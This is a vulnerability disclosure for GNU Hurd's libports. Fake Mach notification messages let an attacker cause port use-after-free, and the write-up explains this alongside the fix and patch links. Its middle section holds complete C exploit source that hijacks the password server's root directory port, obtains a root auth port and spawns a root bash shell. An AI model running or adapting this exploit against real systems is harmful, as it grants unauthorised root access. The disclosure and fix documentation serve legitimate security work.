Short description
=================

libports accepts fake notification messages from any client on any port, which
can lead to port use-after-free, which can be exploited for local privilege
escalation to get full root access to the system.


Background: Mach notifications
==============================

The Mach kernel has a mechanism to let a task know when various things happen to
ports that it has. Specifically, a task can request to be notified when a
specific port dies by using the mach_port_request_notification () RPC, which is
documented here [0].

[0]: https://www.gnu.org/software/hurd/gnumach-doc/Request-Notifications.html

There are several _variants_, or _flavors_, of notifications. We're interested
in two of them:

* MACH_NOTIFY_NO_SENDERS (aka no-senders), which a task can request on a receive
  right that it owns. It will be notified once all the send rights to the port
  are gone, so there's no one left who could send more messages to the port
  (assuming we also know that there are no more send-once rights, or don't care
  about them). This is kind of like receiving EOF on the read end of a Unix pipe
  once the write end is closed by all the potential writers.

* MACH_NOTIFY_DEAD_NAME (aka dead-name), which a task can request on a send or
  send-once right that it has. It will be notified if the port is destroyed by
  its owner and the right that the task had turns into a dead name. This is kind
  of like receiving SIGPIPE/EPIPE when trying to write into the write end of a
  "broken" Unix pipe (one whose read end has been closed).

The notifications are naturally delivered to the task as Mach messages, namely
the mach_notify_* () RPCs. It's up to the requesting task to specify where (on
which port) it wants the notification delivered. The no-senders notification for
a port is typically requested to the port itself, since it's a about a receive
right (so it is possible to receive it on the port itself), and also because the
no-senders message does not otherwise specify an explicit port name.

The dead-name notification cannot be requested to the port itself, so it's
typically requested to some other related port. The dead-name notification
carries the name of the port that has turned into the dead name. Importantly, it
only carries a name as an integer -- not a port right -- since a dead name right
carried in a message gets received as MACH_PORT_DEAD (-1), which would be rather
useless to the receiver.

To prevent potential races between processing the notification and the now-dead
name getting deallocated and reused for another right, the dead-name
notification "carries" an extra reference to the dead name that the receiving
task should deallocate _as if_ the message actually carried a right, not a name.
(A cleaner alternative design would be to make this all a userspace concern,
i.e. it would be up to userspace to keep an extra reference to the right it
wants to get dead-name notifications about. Exercise for the reader: why
wouldn't that work?)


Background: libports
====================

libports is a core library of the Hurd that wraps the Mach ports API into a
higher-level interface. libports is used by most of the Hurd servers (everything
except /hurd/startup, I believe). libports lets the program associate any custom
data (object) with a receive right, and provides the API to look up the object
by the port and the other way around.

libports objects (struct port_info-s) are reference counted; once all the
references go away, the custom data is cleared and the port right is
deallocated. An object can be referenced explicitly (by other objects, perhaps),
and in addition libports "factors in" outstanding send rights to the port as
another reference to the object. So, an object will be alive as long as there
are in-process references to it *or* send rights to its port.

To track when send rights to a port disappear, libports requests no-senders
notifications for the port, and once a notification arrives, libports
automatically decrements the object reference count.

libports also provides a wrapper for the dead-name notifications: you call
ports_interrupt_self_on_port_death (object, port_name), and libports will
request a dead-name notification for the port_name, and cancel your thread if
the port dies. This is typically used to cancel waiting RPC implementations
(such as a read on a pipe) if the reply port dies.


The issue
=========

The notification messages are implicitly handled by libports as follows:

error_t
ports_do_mach_notify_no_senders (struct port_info *pi,
                                 mach_port_mscount_t count)
{
  if (!pi)
    return EOPNOTSUPP;
  ports_no_senders (pi, count);
  return 0;
}

error_t
ports_do_mach_notify_dead_name (struct port_info *pi,
                                mach_port_t dead_name)
{
  if (!pi)
    return EOPNOTSUPP;
  ports_dead_name (pi, dead_name);

  /* Drop gratuitous extra reference that the notification creates. */
  mach_port_deallocate (mach_task_self (), dead_name);
  
  return 0;
}

where ports_no_senders () and ports_dead_name () are the actual handler
functions. The only thing libports checks about the incoming notification
messages is that they arrive on some libports-managed port (represented by
struct port_info). Which means that ANYONE who has a send right to a
libports-managed port can send a fake notification message to it, and libports
will happily handle it as if it was a real message coming from the kernel.

If one sends a fake no-senders notification, libports will decrement refcount of
the object, and likely deallocate it completely, destroying the port. This is a
denial-of-service attack: any task that has a send right to a port can trivially
cause the receive right to get destroyed, turning the right into a dead name for
itself *and for everyone else who had this right*. This would have a
catastrophic effect if used on a pager port, for example, since the same pager
is shared between everyone who maps the same file.

Now, the dead-name notification message only carries the port name (an integer),
so we can trick the victim task into believing that any port of our choosing is
dead; the attacker task doesn't have to have access to the port. We have to
guess the port name in the victim task, which is easy since GNU Mach doesn't do
any sort of port name randomization. This is also a denial-of-service attack.

But this goes so much further. Since the dead-name notification handler
deallocates the "gratuitous" reference to the port (as it should), this turns
into a "please deallocate this port name" primitive! And if we send a fake
dead-name notification for some port that the task never actually requested a
notification for, the handler will do nothing other than deallocating the port,
and the rest of the task will *keep thinking it has the port*, and keep trying
to use it.

A port use-after-free, in pretty much any Hurd server, for any port of our
choosing, with 100% reproducibility and no races to win! It's hard to overstate
just how cool this is.


The exploit
===========

A port use-after-free can be exploited pretty much like a regular (memory)
use-after-free: the attacker plants a different port in the victim task under
the same name, then triggers the use-after-free; the victim uses the attacker's
port without realizing it.

Planting a port in another task under the just-freed name also turned out to be
very easy due to the predictable nature of how GNU Mach allocates port names:
Mach seems to always allocate the numerically smallest unused name, so after an
"old" name is freed, normally the very first port you send to the victim task
will get the desired name.

I chose the password server as the target task to attack, primarily because
giving out root auth ports is its intended purpose. If we trick it into
believing we supply a correct password, we'll get a root auth port. To check the
client-supplied password for correctness, the password server fetches the user
record using getpwuid_r () which is implemented on top of glibc NSS. The NSS can
do a lot of things, but the primary source of user data is reading the
/etc/passwd and /etc/shadow files. So my plan was to steal the name used for the
root directory port, and get the password server to ask me back about
/etc/passwd.

Empirically, the password server uses port name 6 for its root directory. So the
exploit works like this:

* First, query the password server using any (invalid) password. This is just to
  get it to load the NSS modules before we mess with its root directory port.

* Then, ask it to deallocate its port right named 6.

* Query it with any password, supplying a send (instead of the usual send-once)
  right for the reply port. If we're lucky, the reply port is going to get the
  just freed name 6.

* Wait for the password server to respond with a dir_lookup ("etc/passwd")
  query, instead of the reply to our password query. If it does, this indicates
  that our exploit has succeeded.

* Reply with whatever info we want :)

Since the password server will happily give out root access to anyone if the
root account can not be found, I simply replaced /etc/passwd with an empty file,
namely /dev/null. This way, the exploit doesn't even have to implement any more
callbacks.


Exploit source code
===================

#include <stdio.h>
#include <unistd.h>
#include <error.h>
#include <stdlib.h>
#include <string.h>
#include <hurd.h>
#include <hurd/paths.h>
#include <hurd/password.h>
#include <mach/mig_support.h>

kern_return_t
hax_mach_notify_dead_name (mach_port_t port, mach_port_t name)
{
  struct request
  {
    mach_msg_header_t header;
    mach_msg_type_t name_type;
    mach_port_t name;
  };

  struct request request =
    {
      .header =
        {
          .msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS 
(MACH_MSG_TYPE_COPY_SEND, 0),
          .msgh_remote_port = port,
          .msgh_local_port = MACH_PORT_NULL,
          .msgh_id = 72,
          .msgh_size = sizeof request,
        },
      .name_type =
        {
          .msgt_name = MACH_MSG_TYPE_PORT_NAME,
          .msgt_size = 32,
          .msgt_number = 1,
          .msgt_inline = 1,
        },
      .name = name,
    };

  extern kern_return_t
  mach_msg_send (const mach_msg_header_t *);

  return mach_msg_send (&request.header);
}

kern_return_t
hax_password_check_user (io_t server, uid_t user,
                         const char *pw, mach_port_t *authn)

{
  mach_msg_return_t ret;
  mach_port_t reply_port = mig_get_reply_port ();

  struct pcu_request
  {
    mach_msg_header_t header;
    mach_msg_type_t user_type;
    uid_t user;
    mach_msg_type_t pw_type;
    string_t pw;
  };

  struct pcu_reply
  {
    mach_msg_header_t header;
    mach_msg_type_t ret_code_type;
    kern_return_t ret_code;
    mach_msg_type_t authn_type;
    mach_port_t authn;
  };

  struct dl_request
  {
    mach_msg_header_t header;
    mach_msg_type_t file_name_type;
    string_t file_name;
    mach_msg_type_t flags_type;
    int flags;
    mach_msg_type_t mode_type;
    mode_t mode;
  };

  struct dl_reply
  {
    mach_msg_header_t header;
    mach_msg_type_t ret_code_type;
    kern_return_t ret_code;
    mach_msg_type_t do_retry_type;
    retry_type do_retry;
    mach_msg_type_t retry_name_type;
    string_t retry_name;
    mach_msg_type_t result_type;
    mach_port_t result;
  };

  union {
    mach_msg_header_t header;
    struct pcu_request pcu_request;
    struct pcu_reply pcu_reply;
    struct dl_request dl_request;
    struct dl_reply dl_reply;
  } message;

  message.pcu_request = (struct pcu_request)
    {
      .header =
        {
          .msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 
MACH_MSG_TYPE_MAKE_SEND),
          .msgh_remote_port = server,
          .msgh_local_port = reply_port,
          .msgh_id = 38000,
          .msgh_size = sizeof (struct pcu_request),
        },
      .user_type =
        {
          .msgt_name = MACH_MSG_TYPE_INTEGER_32,
          .msgt_size = 32,
          .msgt_number = 1,
          .msgt_inline = 1
        },
      .user = user,
      .pw_type =
        {
          .msgt_name = MACH_MSG_TYPE_STRING_C,
          .msgt_size = 8,
          .msgt_number = 1024,
          .msgt_inline = 1,
        },
  };
  strncpy (message.pcu_request.pw, pw, 1024);

  while (1)
    {
      ret = mach_msg (&message.header, MACH_SEND_MSG|MACH_RCV_MSG,
                      message.header.msgh_size, sizeof message,
                      reply_port,
                      MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

      if (ret)
        return ret;

      if (message.header.msgh_id == 20018)
        {
          /* This is dir_lookup ().  */
          file_t dev_null;
          dev_null = file_name_lookup ("/dev/null", message.dl_request.flags,
                                                    message.dl_request.mode);

          message.dl_reply.header.msgh_bits = MACH_MSGH_BITS_COMPLEX
                                              | MACH_MSGH_BITS 
(MACH_MSG_TYPE_MOVE_SEND_ONCE, 0);
          message.dl_reply.header.msgh_local_port = MACH_PORT_NULL;
          message.dl_reply.header.msgh_id = 20118;
          message.dl_reply.header.msgh_size = sizeof (struct dl_reply);

          memset (&message.dl_reply.ret_code_type, 0, sizeof (mach_msg_type_t));
          message.dl_reply.ret_code_type.msgt_name = MACH_MSG_TYPE_INTEGER_32;
          message.dl_reply.ret_code_type.msgt_size = 32;
          message.dl_reply.ret_code_type.msgt_number = 1;
          message.dl_reply.ret_code_type.msgt_inline = 1;

          message.dl_reply.ret_code = MACH_PORT_VALID (dev_null) ? 0 : errno;

          memset (&message.dl_reply.do_retry_type, 0, sizeof (mach_msg_type_t));
          message.dl_reply.do_retry_type.msgt_name = MACH_MSG_TYPE_INTEGER_32;
          message.dl_reply.do_retry_type.msgt_size = 32;
          message.dl_reply.do_retry_type.msgt_number = 1;
          message.dl_reply.do_retry_type.msgt_inline = 1;

          message.dl_reply.do_retry = FS_RETRY_NORMAL;

          memset (&message.dl_reply.retry_name_type, 0, sizeof 
(mach_msg_type_t));
          message.dl_reply.retry_name_type.msgt_name = MACH_MSG_TYPE_STRING_C;
          message.dl_reply.retry_name_type.msgt_size = 8;
          message.dl_reply.retry_name_type.msgt_number = 1024;
          message.dl_reply.retry_name_type.msgt_inline = 1;

          memset (message.dl_reply.retry_name, 0, 1024);

          memset (&message.dl_reply.result_type, 0, sizeof (mach_msg_type_t));
          message.dl_reply.result_type.msgt_name = MACH_MSG_TYPE_MOVE_SEND;
          message.dl_reply.result_type.msgt_size = 32;
          message.dl_reply.result_type.msgt_number = 1;
          message.dl_reply.result_type.msgt_inline = 1;

          message.dl_reply.result = dev_null;
          continue;
        }

      if (message.header.msgh_id != 38100)
        return MIG_REPLY_MISMATCH;

      if (message.pcu_reply.ret_code != 0)
        return message.pcu_reply.ret_code;

      *authn = message.pcu_reply.authn;
      return 0;
    }
}

int
main ()
{
  error_t err;
  file_t password_server;
  auth_t root_auth;

  password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0);
  if (!MACH_PORT_VALID (password_server))
    error (1, errno, "failed to open");

  /* Start by forcing the password server to load all nss modules.  */
  password_check_user (password_server, 0, "hax", &root_auth);

  err = hax_mach_notify_dead_name (password_server, 6);
  if (err)
    error (1, err, "failed to notify");

  do
    {
      err = hax_password_check_user (password_server, 0,
                                     "hax", &root_auth);
      if (err)
        {
          error (0, err, "failed to get root auth port");
          sleep (1);
        }
    }
  while (err);

  fprintf (stderr, "Got root auth port :)\n");

  err = setauth (root_auth);
  if (err)
    error (1, err, "failed to setauth");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");
}


Notes
=====

A similar exploit in OS X was reported by Ian Beer in 2016 (CVE-2016-7661). Once
I saw that libports similarly accepts mach_notify_* () on ports exposed to
users, I knew which way to dig.

There are (or were) other related vulnerabilities in the Hurd. The startup
server was always deallocating a client-supplied port [1] (MIG routines are only
supposed to take ownership of the resources in the message when they return
success) -- a port double-free, which could potentially be escalated to port
use-after-free. The memory proxy implementation inside GNU Mach was also
vulnerable to fake notification messages, much like libports [2].

[1]: 
https://git.savannah.gnu.org/cgit/hurd/hurd.git/commit/?id=b011199cf330b90483b312c57f25c90a31f2577b
[2]: 
https://git.savannah.gnu.org/cgit/hurd/gnumach.git/commit/?id=a277e247660a38c5e10c7ddc7916954f8283c8eb

It would be harder to exploit port use-after-free vulnerabilities if GNU Mach
implemented port name randomization, similarly to how ASLR is used to mitigate
exploits based on memory safety issues.


How we fixed the vulnerability
==============================

We have considered several potential designs to fix the libports notifications
issue, and I have actually implemented a few different versions. Here's the
design we ended up with.

For no-senders notifications, the fix [3] is to treat notifications as *hints*,
and check the port status explicitly upon receiving a notification. If the
notification is fake and there still are senders to the port, we'll just do
nothing.

[3]: 
https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0011-libports-Treat-no-senders-notifications-as-a-hint.patch

For dead-name notifications, while we could similarly check if the name is
indeed dead, that doesn't save us from the real trouble: we still need to know
whether to deallocate the extra reference (if the notification is coming from
the kernel) or not (if it's fake). To cope with this, we now create and use a
special designated port ("notify port") for requesting and receiving dead-name
notifications. This port is never ever exposed to any clients; only the kernel
can send messages to it. Thus, any notification received on this port must be
authentic.

libports now automatically creates a notify port in each bucket [4], and only
accepts dead-name notifications received on this port [5]. There's a new
ports_request_dead_name_notification () helper [6] for requesting a notification
to the notify port. This actually ends up making code more ergonomic, not less!
-- which is something that I'm a little bit proud of, since the previous designs
complicated code all over the place quite a bit.

[4] 
https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0012-libports-Create-a-notify_port-in-each-bucket.patch
[5]: 
https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0025-libports-Only-accept-dead-name-notifications-on-noti.patch
[6]: 
https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0014-libports-Add-ports_request_dead_name_notification.patch

All the Hurd servers and libraries were then updated to use this new libports
functionality. In some specific cases where we cannot use libports, we have to
carefully think about who can send us fake notifications [7].

[7]: 
https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0021-libfshelp-Update-some-comments.patch

Reply via email to